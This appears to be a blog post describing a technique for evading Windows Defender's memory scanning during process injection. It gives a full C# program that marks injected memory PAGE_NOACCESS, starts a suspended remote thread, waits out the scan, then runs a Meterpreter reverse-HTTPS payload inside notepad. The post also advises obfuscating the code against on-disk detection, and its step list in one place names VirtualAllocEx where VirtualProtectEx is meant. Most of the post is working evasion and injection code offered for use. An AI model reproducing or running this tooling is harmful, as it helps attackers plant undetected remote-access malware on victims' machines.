Windows Defender scans memory when functions such as CreateProcess and CreateRemoteThread are called. F-Secure have documented this behavior in their blog post here.
This causes problems injecting shellcode into a remote process. As previously covered, injecting into a remote process using PInvoke in C# is as simple as;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Unfortunately, when CreateRemoteThread is called the shellcode will be scanned by Defender, killing the process.
To get around this, we need to carry out the following steps;
- Get a handle to the target process. GetProcessesByName will work for this purpose.
- Open the target process using OpenProcess.
- Call VirtualAllocEx to allocate memory within the target process.
- Use WriteProcessMemory to copy our malicious code to the target.
- Call VirtualAllocEx again to set PAGE_NO_ACCESS on the area of memory.
- Use CreateRemoteThread to spawn a suspended thread.
- Wait for Defender to attempt to carry out it’s scanning, which will fail as it’s unable to read the memory.
- Use VirtualAllocEx (again!) to set the permissions back to PAGE_EXECUTE_READWRITE.
- Finally, call ResumeThread to start our thread.
The parameters to be passed to these functions are mostly covered in the previous post on process injection, with the following exceptions;
Creating a Suspended Thread
Creating a suspended requires us to set the dwCreationFlags
to 0x00000004 when calling CreateRemoteThread.
CREATE_SUSPENDED 0x00000004 | The thread is created in a suspended state, and does not run until the ResumeThread function is called. |
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
Making the initial call to CreateRemoteThread;
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread);
The thread can later be activated using ResumeThread(hThread).
Setting PAGE_NO_ACCESS
To mark the memory so it can’t be read by Defender, set the flNewProtect
argument to 0x01:
PAGE_NOACCESS 0x01 | Disables all access to the committed region of pages. An attempt to read from, write to, or execute the committed region results in an access violation. |
BOOL VirtualProtectEx(
[in] HANDLE hProcess,
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
Our call to VirtualProtectEx;
VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect);
The below code will allow injecting a Meterpreter agent into memory avoiding scanning. There are two important things to note;
- If Meterpreter then attempts to migrate into another process or execute a system shell using CreateProcess/CreateRemoteThread that code will be scanning by defender and likely killed. You can however use the same C# code to migrate into other processes 🙂
- The code, particularly the P/Invoke statements will likely be detected by on disk Defender scanning. Use obfuscation as necessary…
Code
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ProcessInjection
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
//Below imports required to resume thread
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
static void Main(string[] args)
{
//msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x.x.x.x LPORT=443 exitfunc=thread --format base64
string b64_payload = "/EiD5PDozAAAAEFRQ*SNIP*";
byte[] buf = System.Convert.FromBase64String(b64_payload);
// Get the target PID to inject into
int pid = 0;
try
{
Process[] expProc = Process.GetProcessesByName("notepad");
pid = expProc[0].Id;
Console.WriteLine("Target PID: " + pid.ToString());
}
catch (Exception ex)
{
Console.WriteLine("Error finding target PID: " + ex.ToString());
Environment.Exit(0);
}
//Inject!
try
{
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
//Mark memory as PAGE_NO_ACCESS (0x1)
VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect);
// Create suspended remote thread
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread);
//Sleep whilst AV scans memory
Console.WriteLine("Sleeping...");
System.Threading.Thread.Sleep(15000);
// Mark memory as executable again; PAGE_EXECUTE_READWRITE (0x40)
VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x40, out lpflOldProtect);
Console.WriteLine("Starting Thread...");
// Resume Thread
ResumeThread(hThread);
}
catch (Exception ex)
{
Console.WriteLine("Error creating remote thread: " + ex.ToString());
}
Console.ReadLine();
}
}
}